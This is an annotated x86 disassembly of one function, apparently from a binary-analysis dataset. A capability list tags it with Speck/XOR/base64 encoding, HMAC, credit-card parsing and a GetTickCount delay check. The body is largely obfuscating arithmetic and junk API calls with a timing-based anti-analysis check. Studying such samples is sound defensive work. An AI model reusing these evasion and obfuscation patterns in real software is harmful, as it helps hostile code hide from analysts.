Function at 0x1004fcb0
Capabilities:
Accept command line arguments
Authenticate hmac
Check for time delay via gettickcount
Encode data using base64
Encode data using xor
Encrypt data using speck
Identify system language via api
Parse credit card information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x27ac
call fcn.1007a9d0
push ebx
push esi
push edi
push 0x10090338
call fcn.1008096a
add esp, 4
fnstcw word [ebp - 0x10a]
movzx eax, word [ebp - 0x10a]
or eax, 0xc00
mov dword [ebp - 0x1c68], eax
fldcw word [ebp - 0x1c68]
fistp qword [ebp - 0x2618]
fldcw word [ebp - 0x10a]
mov eax, dword [ebp - 0x2618]
mov dword [0x100adbec], eax
movzx cx, byte [0x100ad00f]
mov word [ebp - 0x1c64], cx
mov eax, dword [0x100ad15c]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dx, word [0x100ad0b8]
mov word [ebp - 0x10], dx
mov byte [ebp - 1], 0xee
mov al, byte [0x100ad0f8]
mov byte [ebp - 2], al
mov ecx, 0xffffbafe
mov word [ebp - 0x14], cx
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov dword [ebp - 0x2664], eax
mov word [ebp - 0x20], dx
movzx eax, byte [0x100ad072]
cdq
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], 0xe214
mov ecx, dword [0x100ad0d8]
mov edx, dword [0x100ad0dc]
mov dword [ebp - 0x2668], edx
mov word [ebp - 0x1c], cx
movzx ax, byte [0x100ad0a6]
mov word [ebp - 0x24], ax
mov cl, byte [0x100ad0f0]
mov byte [ebp - 5], cl
mov byte [ebp - 4], 0x49
mov edx, 0xffff8019
mov word [ebp - 0xc], dx
movsx eax, word [0x100ad0b0]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], 0xa7
mov ecx, 0x576e
mov word [ebp - 0x28], cx
xor edx, edx
mov dword [ebp - 0x50], 0x4c7c6d64
mov dword [ebp - 0x4c], edx
mov eax, dword [0x100ad0e0]
mov word [ebp - 0x18], ax
mov byte [ebp - 3], 0xbe
movzx ecx, word [0x100ad0b8]
mov dword [ebp - 0x44], ecx
mov dl, byte [0x100ad0b4]
mov byte [ebp - 0x179], dl
movsx eax, word [0x100ad11c]
mov dword [ebp - 0x266c], eax
mov eax, dword [0x100ad0a8]
cdq
mov dword [ebp - 0x2620], eax
mov dword [ebp - 0x261c], edx
mov dword [ebp - 0x2670], 0x3ac9
xor ecx, ecx
mov dword [ebp - 0x2628], 0xbf
mov dword [ebp - 0x2624], ecx
mov dl, byte [0x100ad0b4]
mov byte [ebp - 0x17a], dl
mov dword [ebp - 0x2674], 0x67a6976e
movsx eax, byte [0x100ad037]
cdq
mov dword [ebp - 0x2630], eax
mov dword [ebp - 0x262c], edx
mov byte [ebp - 0x17b], 0x50
mov eax, dword [0x100ad0a8]
mov byte [ebp - 0x17c], al
mov ecx, 0x295a
mov word [ebp - 0x1c60], cx
mov edx, 0x49
mov word [ebp - 0x1c5c], dx
mov byte [ebp - 0x17d], 0x90
movsx eax, byte [0x100ad042]
cdq
mov dword [ebp - 0x2638], eax
mov dword [ebp - 0x2634], edx
movsx ax, byte [0x100ad00d]
mov word [ebp - 0x1c58], ax
mov cl, byte [0x100ad130]
mov byte [ebp - 0x17e], cl
mov edx, 0xf631
mov word [ebp - 0x1c54], dx
mov eax, 0x2f3c
mov word [ebp - 0x1c50], ax
mov cl, byte [0x100ad0f8]
mov byte [ebp - 0x17f], cl
movzx edx, byte [0x100ad00f]
movzx eax, word [ebp - 0x24]
cmp edx, eax
jge 0x10050107
mov ecx, 2
mov word [ebp - 0xc], cx
movsx edx, word [0x100ad0d0]
movsx eax, word [0x100ad0cc]
sub edx, eax
sub edx, dword [0x100ad0a8]
mov dword [0x100ad140], edx
movzx ecx, word [ebp - 0x10]
imul ecx, dword [ebp - 0x38]
mov dword [ebp - 0x38], ecx
movsx eax, byte [0x100ad00d]
cdq
mov ecx, dword [ebp - 0x2c]
add eax, dword [ebp - 0x30]
adc edx, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x48], 0xcdd26f96
movzx edx, word [ebp - 0x24]
sub edx, dword [ebp - 0x48]
mov word [ebp - 0x24], dx
movsx eax, byte [0x100ad073]
sar eax, 6
mov word [ebp - 0x10], ax
movsx ecx, word [ebp - 0xc]
mov dword [ebp - 0x19c], ecx
cmp dword [ebp - 0x19c], 0
je 0x1004ff7c
cmp dword [ebp - 0x19c], 1
je 0x1005004f
cmp dword [ebp - 0x19c], 2
je 0x10050093
jmp 0x10050105
movsx edx, byte [0x100ad043]
test edx, edx
jne 0x1004ff9b
xor eax, eax
mov dword [ebp - 0x1cb0], 1
mov dword [ebp - 0x1cac], eax
jmp 0x1004ffa6
xorps xmm0, xmm0
movlpd qword [ebp - 0x1cb0], xmm0
mov eax, dword [0x100ad118]
not eax
cdq
push edx
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x40]
push edx
call fcn.1007a8a0
xor eax, dword [ebp - 0x1cb0]
mov byte [ebp - 3], al
movzx eax, word [ebp - 0x28]
add eax, 0xe261e28
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
sub ecx, 0x71edfc3f
sbb edx, 0
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
movsx eax, byte [0x100ad043]
test eax, eax
jne 0x1004ffff
mov dword [ebp - 0xf24], 1
jmp 0x10050009
mov dword [ebp - 0xf24], 0
movsx ecx, byte [ebp - 5]
movsx edx, word [ebp - 0xc]
movsx eax, byte [0x100ad043]
add edx, eax
movsx eax, word [0x100ad0e4]
imul eax, dword [ebp - 0xf24]
sub edx, eax
sub ecx, edx
not ecx
mov dword [0x100ad0c8], ecx
movsx ecx, byte [ebp - 2]
imul eax, ecx, 0x3932
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
jmp 0x10050105
mov edx, 2
imul eax, edx, 0x71
mov cx, word [eax + 0x100df3a0]
mov word [ebp - 0x1c], cx
movsx edx, word [0x100ad0b0]
movsx eax, word [ebp - 0x1c]
lea ecx, [eax + edx + 0x70]
mov word [ebp - 0x1c], cx
movzx eax, byte [ebp - 4]
cdq
mov ecx, 8
imul ecx, ecx, 0xc3
mov dword [ecx + 0x100d4fe8], eax
mov dword [ecx + 0x100d4fec], edx
jmp 0x10050105
movsx edx, word [0x100ad0b0]
shl edx, 3
mov dword [ebp - 0x44], edx
mov eax, dword [0x100ad0b4]
sub eax, 0x4c7428bc
mov byte [ebp - 1], al
movsx eax, word [ebp - 0x14]
cdq
mov ecx, dword [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0x40]
push ecx
push edx
push eax
call fcn.1007a8a0
mov word [ebp - 0x14], ax
movsx edx, byte [ebp - 1]
add edx, 0x7f385f5b
movsx eax, byte [ebp - 5]
imul eax, edx
mov byte [ebp - 5], al
mov ecx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
or ecx, 0xf332fbc6
movsx eax, word [ebp - 0x14]
movzx edx, word [0x100ad120]
sub eax, edx
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov byte [ebp - 5], al
jmp 0x10050179
movzx eax, byte [ebp - 3]
movsx ecx, byte [str.ZFreeSid]
imul eax, ecx
movzx edx, byte [ebp - 3]
sub edx, eax
mov byte [ebp - 3], dl
movzx eax, word [ebp - 0x24]
add eax, 0x40
mov byte [ebp - 3], al
mov eax, dword [ebp - 0x34]
cdq
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x2678], edx
sub eax, ecx
add eax, dword [ebp - 0x40]
mov byte [0x100ad0a6], al
movsx eax, byte [ebp - 2]
movsx ecx, word [ebp - 0x14]
imul eax, ecx
movsx edx, byte [ebp - 2]
add edx, eax
mov byte [ebp - 2], dl
movsx eax, byte [0x100ad037]
imul ecx, eax, 0xf99d
mov byte [0x100ad037], cl
movsx eax, word [ebp - 0x14]
add eax, 0x54926b23
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov edx, dword [0x100adbec]
mov dword [ebp - 0x1a0], edx
movsx eax, word [0x100ad130]
cdq
mov dword [ebp - 0x1cb8], eax
mov dword [ebp - 0x1cb4], edx
mov eax, dword [ebp - 0x1cb4]
cmp eax, dword [ebp - 0x3c]
jg 0x100501bd
jl 0x100501b1
mov ecx, dword [ebp - 0x1cb8]
cmp ecx, dword [ebp - 0x40]
jae 0x100501bd
mov dword [ebp - 0xf28], 1
jmp 0x100501c7
mov dword [ebp - 0xf28], 0
movzx edx, word [ebp - 0x10]
cmp edx, dword [ebp - 0xf28]
jge 0x100501df
mov dword [ebp - 0xf2c], 1
jmp 0x100501e9
mov dword [ebp - 0xf2c], 0
movsx eax, word [ebp - 0x14]
cdq
mov dword [ebp - 0x1cc0], eax
mov dword [ebp - 0x1cbc], edx
mov eax, dword [ebp - 0x1cc0]
cmp eax, dword [0x100ad138]
jne 0x10050222
mov ecx, dword [ebp - 0x1cbc]
cmp ecx, dword [0x100ad13c]
jne 0x10050222
mov dword [ebp - 0x394], 1
jmp 0x1005022c
mov dword [ebp - 0x394], 0
mov edx, dword [ebp - 0xf2c]
cmp edx, dword [ebp - 0x394]
jg 0x100502cc
mov eax, dword [0x100ad140]
mov ecx, 2
imul edx, ecx, 0xc
mov word [edx + 0x101e98d8], ax
movzx eax, byte [ebp - 3]
cdq
xor eax, 0xe9508355
mov word [0x100ad0b0], ax
movsx eax, word [ebp - 0xc]
movsx ecx, word [0x100ad0d0]
xor eax, ecx
mov dword [0x100ad0a8], eax
movsx edx, byte [str.E2_wcsrchr]
test edx, edx
je 0x1005028b
movzx eax, word [ebp - 0x10]
mov dword [ebp - 0x398], eax
jmp 0x10050294
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x398], ecx
mov dx, word [ebp - 0x398]
mov word [ebp - 0x10], dx
mov eax, 0x18c7
mov word [ebp - 0x10], ax
movsx ecx, word [0x100ad0b0]
movsx edx, byte [0x100ad042]
add ecx, edx
movsx eax, word [0x100ad0b0]
add eax, ecx
mov word [0x100ad0b0], ax
jmp 0x10050351
movsx eax, byte [0x100ad037]
cdq
mov ecx, dword [0x100ad0ec]
push ecx
mov ecx, dword [0x100ad0e8]
push ecx
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad037], al
cmp dword [0x100ad15c], 0
jne 0x10050303
mov dword [ebp - 0x39c], 1
jmp 0x1005030d
mov dword [ebp - 0x39c], 0
movsx edx, word [0x100ad130]
or edx, 0x81
movzx eax, word [0x100ad120]
mov ecx, dword [0x100ad15c]
add ecx, eax
movzx eax, word [ebp - 0x28]
add eax, dword [ebp - 0x39c]
sub ecx, eax
add edx, ecx
not edx
mov word [0x100ad0ac], dx
movsx ecx, word [0x100ad0bc]
add ecx, 0x71f5
mov word [ebp - 0x20], cx
mov edx, dword [ebp - 0x1a0]
add edx, 0x236
mov dword [ebp - 0x210], edx
movsx eax, byte [ebp - 1]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov word [0x100ad0bc], ax
mov ecx, dword [ebp - 0x1a0]
add ecx, 0x5db
mov dword [ebp - 0x1358], ecx
mov edx, dword [ebp - 0x1a0]
add edx, 0x4ca
mov dword [ebp - 0x267c], edx
mov dword [ebp - 0x1a4], 0x9b0
mov eax, dword [ebp - 0x44]
mov word [ebp - 0x1c], ax
mov byte [0x100ad072], 0x7c
cmp dword [ebp - 0x44], 0
jne 0x100503c2
mov dword [ebp - 0x3a0], 1
jmp 0x100503cc
mov dword [ebp - 0x3a0], 0
movzx ecx, word [0x100ad120]
add ecx, dword [ebp - 0x3a0]
movsx edx, word [0x100ad0c4]
and ecx, edx
not ecx
mov eax, dword [ebp - 0x38]
not eax
sub eax, dword [0x100ad0e0]
movzx edx, word [ebp - 0x20]
add eax, edx
imul ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [0x100ad140]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x2680], edx
sub eax, ecx
mov ecx, dword [0x100ad140]
sub ecx, eax
mov dword [0x100ad140], ecx
cmp dword [ebp - 0x1a4], 0x867
jle 0x10050469
mov dword [ebp - 0x1c6c], 1
mov edx, dword [ebp - 0x1c6c]
push edx
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
mov dword [ebp - 0x1c70], eax
mov eax, dword [ebp - 0x1c70]
push eax
call dword [sym.imp.USER32.dll_EndDeferWindowPos]
mov dword [ebp - 0x2684], eax
mov ecx, dword [ebp - 0x1a4]
sub ecx, 1
mov dword [ebp - 0x1a4], ecx
jmp 0x1005041c
mov edx, dword [0x100adbec]
mov dword [ebp - 0x1ac], edx
mov dword [ebp - 0x1a8], 0xa4c
mov byte [0x100ad00f], 0x4f
mov eax, dword [0x100adbec]
xor ecx, ecx
mov dword [0x100ad108], eax
mov dword [0x100ad10c], ecx
mov edx, dword [0x100ad0b4]
sub edx, dword [0x100ad0e0]
or edx, dword [0x100ad0b4]
mov dword [0x100ad0b4], edx
mov eax, 0x7a2b
mov word [ebp - 0x1c], ax
movzx cx, byte [ebp - 3]
mov word [ebp - 0x10], cx
mov edx, dword [ebp - 0x34]
add edx, dword [0x100ad158]
mov byte [ebp - 1], dl
cmp dword [ebp - 0x1a8], 0x86d
jle 0x100505c2
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_GetTopWindow]
mov word [0x100ad0b8], ax
movzx ecx, word [0x100ad0b8]
test ecx, ecx
je 0x10050570
push 0
push 0xf373210f
mov edx, dword [0x100ad154]
push edx
mov eax, dword [0x100ad150]
push eax
call fcn.1007a8a0
mov byte [0x100ad00d], al
mov cl, byte [str.E2_wcsrchr]
sub cl, 1
mov byte [str.E2_wcsrchr], cl
movzx eax, byte [str.px_04X_]
sub eax, 0xfa
cdq
or eax, dword [0x100ad110]
or edx, dword [0x100ad114]
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
movsx edx, byte [0x100ad043]
movsx eax, byte [ebp - 5]
xor edx, eax
mov byte [0x100ad043], dl
movzx ecx, word [ebp - 0x10]
movzx edx, word [ebp - 0x10]
and ecx, edx
mov word [0x100ad0bc], cx
jmp 0x100505ae
mov eax, dword [ebp - 0x48]
xor ecx, ecx
push 0x30c61
push 0xa91e43a6
push ecx
push eax
call fcn.1007a8a0
mov word [ebp - 0x14], ax
mov dl, byte [ebp - 1]
sub dl, 1
mov byte [ebp - 1], dl
movsx eax, word [0x100ad0d0]
cdq
sub eax, dword [0x100ad150]
mov word [0x100ad0d0], ax
mov dword [ebp - 0x38], 0x5e6e
mov eax, dword [ebp - 0x1a8]
sub eax, 1
mov dword [ebp - 0x1a8], eax
jmp 0x100504ce
mov ecx, dword [ebp - 0x1ac]
add ecx, 0x43b
mov dword [ebp - 0x21dc], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x100ad100], eax
cmp dword [0x100ad100], 0
jb 0x100505f4
mov dword [ebp - 0x3a4], 1
jmp 0x100505fe
mov dword [ebp - 0x3a4], 0
cmp dword [0x100ad100], 0x46
jb 0x10050613
mov dword [ebp - 0x3a8], 1
jmp 0x1005061d
mov dword [ebp - 0x3a8], 0
mov edx, dword [ebp - 0x3a4]
cmp edx, dword [ebp - 0x3a8]
jg 0x1005066e
mov eax, dword [0x1009033c]
mov dword [ebp - 0x2144], eax
mov ecx, dword [0x10090340]
mov dword [ebp - 0x2140], ecx
mov dx, word [0x10090344]
mov word [ebp - 0x213c], dx
lea eax, [ebp - 0x2144]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cdq
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
jmp 0x10050815
mov ecx, dword [0x100ad0d8]
mov edx, dword [0x100ad0dc]
not ecx
not edx
mov dword [ebp - 0x1cc8], ecx
mov dword [ebp - 0x1cc4], edx
mov eax, dword [ebp - 0x1cc8]
or eax, dword [ebp - 0x1cc4]
je 0x10050761
movsx eax, byte [ebp - 2]
cdq
sub eax, 0x841ef1ed
mov dword [0x100ad15c], eax
mov ecx, dword [0x100ad108]
mov edx, dword [0x100ad10c]
mov dword [ebp - 0x21e0], edx
add ecx, 0x290d
mov word [0x100ad0cc], cx
cmp dword [ebp - 0x48], 0
jne 0x100506dc
mov dword [ebp - 0x3ac], 1
jmp 0x100506e6
mov dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x40]
or eax, dword [ebp - 0x3c]
jne 0x10050702
xor ecx, ecx
mov dword [ebp - 0x131c], 1
mov dword [ebp - 0x1318], ecx
jmp 0x1005070d
xorps xmm0, xmm0
movlpd qword [ebp - 0x131c], xmm0
movzx edx, word [ebp - 0x10]
sub edx, 0x2f9d76cd
movsx eax, word [ebp - 0x1c]
movsx ecx, word [0x100ad0b0]
sub eax, ecx
sub edx, eax
mov esi, edx
movsx eax, word [ebp - 0x14]
not eax
and eax, dword [ebp - 0x3ac]
cdq
mov ecx, dword [0x100ad0d8]
mov edi, dword [0x100ad0dc]
add ecx, dword [ebp - 0x131c]
adc edi, dword [ebp - 0x1318]
push edi
push ecx
push edx
push eax
call fcn.1007a8a0
add esi, eax
mov word [ebp - 0x1c], si
jmp 0x10050815
movsx edx, word [0x100ad130]
test edx, edx
jne 0x10050778
mov dword [ebp - 0x3b0], 1
jmp 0x10050782
mov dword [ebp - 0x3b0], 0
movsx eax, word [0x100ad11c]
cmp eax, dword [ebp - 0x3b0]
jl 0x10050815
cmp dword [ebp - 0x48], 0
jne 0x100507a7
mov dword [ebp - 0x3b4], 1
jmp 0x100507b1
mov dword [ebp - 0x3b4], 0
movzx eax, byte [0x100ad0a6]
add eax, dword [ebp - 0x3b4]
cdq
mov dword [0x100ad128], eax
mov dword [0x100ad12c], edx
movsx ecx, byte [0x100ad043]
test ecx, ecx
je 0x100507e3
mov edx, dword [0x100ad158]
mov dword [ebp - 0x3b8], edx
jmp 0x100507ec
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3b8], eax
mov cx, word [ebp - 0x3b8]
mov word [0x100ad0cc], cx
mov edx, dword [0x100ad0c8]
sub edx, 1
mov dword [0x100ad0c8], edx
movzx eax, word [ebp - 0x24]
sub eax, 0xd8ef
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x1ac]
add ecx, 0x326
mov dword [ebp - 0x21e4], ecx
cmp dword [ebp - 0x38], 0
je 0x10050871
movsx edx, word [0x100ad0bc]
test edx, edx
je 0x1005084d
cmp dword [0x100ad15c], 0
je 0x1005084d
mov dword [ebp - 0x3bc], 1
jmp 0x10050857
mov dword [ebp - 0x3bc], 0
cmp dword [ebp - 0x3bc], 0xd8724a34
je 0x10050871
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov byte [ebp - 3], al
jmp 0x10050976
movsx eax, byte [str.E2_wcsrchr]
not eax
cmp eax, dword [0x100ad0c8]
jg 0x1005088e
mov dword [ebp - 0x3c0], 1
jmp 0x10050898
mov dword [ebp - 0x3c0], 0
movzx ecx, word [ebp - 0x18]
cmp ecx, dword [ebp - 0x3c0]
jg 0x10050976
mov edx, dword [0x100ad160]
or edx, dword [0x100ad164]
jne 0x100508c2
mov dword [ebp - 0x3c4], 1
jmp 0x100508cc
mov dword [ebp - 0x3c4], 0
movzx eax, word [ebp - 0x18]
or eax, dword [ebp - 0x3c4]
cdq
mov ecx, eax
movsx eax, byte [ebp - 5]
cdq
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x21e8], esi
sub eax, edx
add ecx, eax
movsx eax, byte [ebp - 1]
not eax
movzx edx, word [ebp - 0x20]
sub eax, edx
add eax, dword [ebp - 0x34]
cdq
or ecx, eax
mov word [ebp - 0x28], cx
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
mov edx, dword [0x100ad108]
mov eax, dword [0x100ad10c]
mov dword [ebp - 0x21ec], eax
add edx, 0xd4d5
mov word [ebp - 0xc], dx
movzx eax, word [ebp - 0x28]
cdq
mov ecx, dword [0x100ad0d8]
mov esi, dword [0x100ad0dc]
add ecx, eax
adc esi, edx
movsx eax, word [ebp - 0x14]
add eax, 0x9fdf
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov ecx, eax
movzx eax, word [ebp - 0x24]
cdq
mov esi, eax
movzx eax, word [ebp - 0x28]
cdq
sub eax, dword [0x100ad138]
sub esi, eax
add ecx, esi
mov byte [ebp - 5], cl
mov edx, dword [ebp - 0x1ac]
add edx, 0x4d9
mov dword [ebp - 0x21f0], edx
mov eax, dword [0x100ad158]
not eax
test eax, eax
je 0x100509aa
movsx ecx, word [0x100ad0bc]
test ecx, ecx
je 0x100509aa
mov dword [ebp - 0x3c8], 1
jmp 0x100509b4
mov dword [ebp - 0x3c8], 0
movsx eax, word [ebp - 0xc]
cdq
mov dword [ebp - 0x1cd0], eax
mov dword [ebp - 0x1ccc], edx
mov edx, dword [ebp - 0x1cd0]
cmp edx, dword [ebp - 0x40]
jne 0x100509db
mov eax, dword [ebp - 0x1ccc]
cmp eax, dword [ebp - 0x3c]
je 0x100509e7
mov dword [ebp - 0x3cc], 1
jmp 0x100509f1
mov dword [ebp - 0x3cc], 0
mov ecx, dword [ebp - 0x3c8]
imul ecx, dword [ebp - 0x3cc]
test ecx, ecx
je 0x10050c92
mov eax, dword [ebp - 0x34]
cdq
mov ecx, dword [0x100ad128]
mov esi, dword [0x100ad12c]
mov dword [ebp - 0x1cd8], eax
mov dword [ebp - 0x1cd4], edx
mov dword [ebp - 0x1ce0], ecx
mov dword [ebp - 0x1cdc], esi
mov edx, dword [ebp - 0x1cd4]
cmp edx, dword [ebp - 0x1cdc]
ja 0x10050bfa
jb 0x10050a54
mov eax, dword [ebp - 0x1cd8]
cmp eax, dword [ebp - 0x1ce0]
jae 0x10050bfa
movsx ecx, word [0x100ad0c4]
cmp ecx, dword [ebp - 0x38]
jle 0x10050a6c
mov dword [ebp - 0x3d0], 1
jmp 0x10050a76
mov dword [ebp - 0x3d0], 0
movsx edx, word [0x100ad0c4]
cmp edx, 0x34
jle 0x10050a8e
mov dword [ebp - 0x3d4], 1
jmp 0x10050a98
mov dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x3d0]
cmp eax, dword [ebp - 0x3d4]
je 0x10050b3e
mov eax, dword [0x100ad0a8]
cdq
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0x21f4], edx
sub ecx, 0x2f
mov dword [0x100ad118], ecx
movzx eax, word [0x100ad0ac]
imul ecx, eax, 0xf67143e2
mov word [ebp - 0xc], cx
movsx edx, word [ebp - 0xc]
xor edx, 0xc169
mov dword [ebp - 0x48], edx
movzx eax, byte [str.px_04X_]
mov ecx, dword [0x100ad0b4]
sub ecx, eax
mov edx, dword [0x100ad0b4]
sub edx, ecx
mov dword [0x100ad0b4], edx
movsx eax, byte [0x100ad00e]
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
movsx eax, byte [0x100ad00e]
cdq
add eax, ecx
mov byte [0x100ad00e], al
jmp 0x10050bf5
movsx eax, word [0x100ad0b0]
cdq
push 0x818bf
push 0x8be09d94
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad0f0], ax
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, eax
mov edx, dword [0x100ad0d8]
mov eax, dword [0x100ad0dc]
mov dword [ebp - 0x21f8], eax
add ecx, edx
movsx eax, word [ebp - 0x1c]
cdq
add eax, ecx
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp - 0x48]
sub ecx, 0x879e99ad
mov word [0x100ad130], cx
cmp dword [ebp - 0x34], 0
je 0x10050ba4
movzx edx, word [ebp - 0x20]
mov dword [ebp - 0x3d8], edx
jmp 0x10050baf
mov eax, dword [0x100ad0e0]
mov dword [ebp - 0x3d8], eax
mov cx, word [ebp - 0x3d8]
mov word [ebp - 0x20], cx
mov edx, dword [0x100ad160]
sub edx, 0x15d82284
mov eax, dword [0x100ad164]
sbb eax, 0
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x100ad138]
sub ecx, 0x81
mov edx, dword [0x100ad13c]
sbb edx, 0
mov dword [0x100ad148], ecx
mov dword [0x100ad14c], edx
jmp 0x10050c8d
movsx eax, word [0x100ad0c4]
movzx ecx, word [ebp - 0x24]
sub eax, ecx
jne 0x10050c1d
xor edx, edx
mov dword [ebp - 0x1324], 1
mov dword [ebp - 0x1320], edx
jmp 0x10050c28
xorps xmm0, xmm0
movlpd qword [ebp - 0x1324], xmm0
movsx eax, byte [ebp - 2]
not eax
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
sub ecx, eax
sbb esi, edx
not ecx
not esi
mov edx, dword [ebp - 0x1320]
push edx
mov eax, dword [ebp - 0x1324]
push eax
push esi
push ecx
call fcn.1007a8a0
mov word [ebp - 0x14], ax
movzx ecx, byte [ebp - 4]
test ecx, ecx
jne 0x10050c6a
mov dword [ebp - 0x3dc], 1
jmp 0x10050c74
mov dword [ebp - 0x3dc], 0
mov edx, dword [ebp - 0x3dc]
mov dword [0x100ad0b4], edx
mov eax, dword [0x100ad15c]
add eax, 1
mov dword [0x100ad15c], eax
jmp 0x10050d71
movsx ecx, word [ebp - 0x1c]
movzx edx, byte [ebp - 3]
cmp ecx, edx
je 0x10050caa
mov dword [ebp - 0x3e0], 1
jmp 0x10050cb4
mov dword [ebp - 0x3e0], 0
movsx eax, word [0x100ad0c0]
imul eax, dword [ebp - 0x3e0]
test eax, eax
je 0x10050d71
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov eax, dword [ebp - 0x38]
cdq
sub eax, ecx
mov dword [ebp - 0x38], eax
mov edx, dword [0x100ad110]
sub edx, dword [0x100ad110]
mov eax, dword [0x100ad114]
sbb eax, dword [0x100ad114]
push eax
push edx
mov ecx, dword [0x100ad114]
push ecx
mov edx, dword [0x100ad110]
push edx
call fcn.1007a8a0
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
movsx eax, byte [0x100ad073]
test eax, eax
jne 0x10050d3e
xor ecx, ecx
mov dword [ebp - 0x1ce8], 1
mov dword [ebp - 0x1ce4], ecx
jmp 0x10050d49
xorps xmm0, xmm0
movlpd qword [ebp - 0x1ce8], xmm0
movsx eax, word [0x100ad130]
cdq
add eax, dword [0x100ad0f8]
add eax, dword [ebp - 0x1ce8]
mov word [ebp - 0xc], ax
movzx eax, word [ebp - 0x18]
cdq
mov dword [0x100ad108], eax
mov dword [0x100ad10c], edx
mov edx, dword [0x100adbec]
mov dword [ebp - 0x1b0], edx
mov dword [0x100ad0a8], 0
imul eax, dword [0x100ad158], 0x5f
mov byte [0x100ad00f], al
mov cl, byte [0x100ad150]
mov byte [0x100ad042], cl
movsx edx, word [ebp - 0xc]
test edx, edx
je 0x10050db3
movzx eax, word [ebp - 0x18]
mov dword [ebp - 0x3e4], eax
jmp 0x10050dbc
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x3e4], ecx
mov dx, word [ebp - 0x3e4]
mov word [0x100ad0d0], dx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
push 0
push 4
push ecx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movsx edx, byte [str.ZFreeSid]
sar edx, 4
mov word [0x100ad0bc], dx
push 0x295e1
push 0x24e6051d
mov eax, dword [0x100ad0ec]
push eax
mov ecx, dword [0x100ad0e8]
push ecx
call fcn.1007a8a0
mov dword [0x100ad140], eax
mov edx, dword [0x100ad0a8]
mov dword [ebp - 0x1c74], edx
cmp dword [ebp - 0x1c74], 0
je 0x10050e2a
jmp 0x10050e7f
movzx eax, word [ebp - 0x18]
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
movsx eax, word [ebp - 0xc]
cdq
sub eax, 0x5cd1ee07
mov byte [ebp - 3], al
movsx eax, word [0x100ad0cc]
cdq
push 0xf641c
push 0x400d536a
push edx
push eax
call fcn.1007a8a0
mov byte [ebp - 5], al
movsx eax, word [ebp - 0xc]
imul ecx, eax, 0x4072
mov byte [0x100ad00e], cl
movsx edx, byte [0x100ad043]
imul edx, dword [ebp - 0x48]
mov byte [0x100ad043], dl
mov eax, dword [ebp - 0x1b0]
add eax, 0x57a
mov dword [ebp - 0x1c78], eax
mov ecx, dword [ebp - 0x1b0]
add ecx, 0x483
mov dword [ebp - 0x3f4], ecx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
xor edx, edx
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
cmp dword [0x100ad0ec], 0
ja 0x10050f08
jb 0x10050ec9
cmp dword [0x100ad0e8], 0
jae 0x10050f08
mov ax, word [ebp - 0x18]
sub ax, 1
mov word [ebp - 0x18], ax
movsx eax, word [ebp - 0xc]
cdq
push edx
push eax
mov ecx, dword [0x100ad114]
push ecx
mov edx, dword [0x100ad110]
push edx
call fcn.1007a8a0
mov ecx, eax
mov esi, edx
movzx eax, byte [ebp - 3]
cdq
add ecx, eax
adc esi, edx
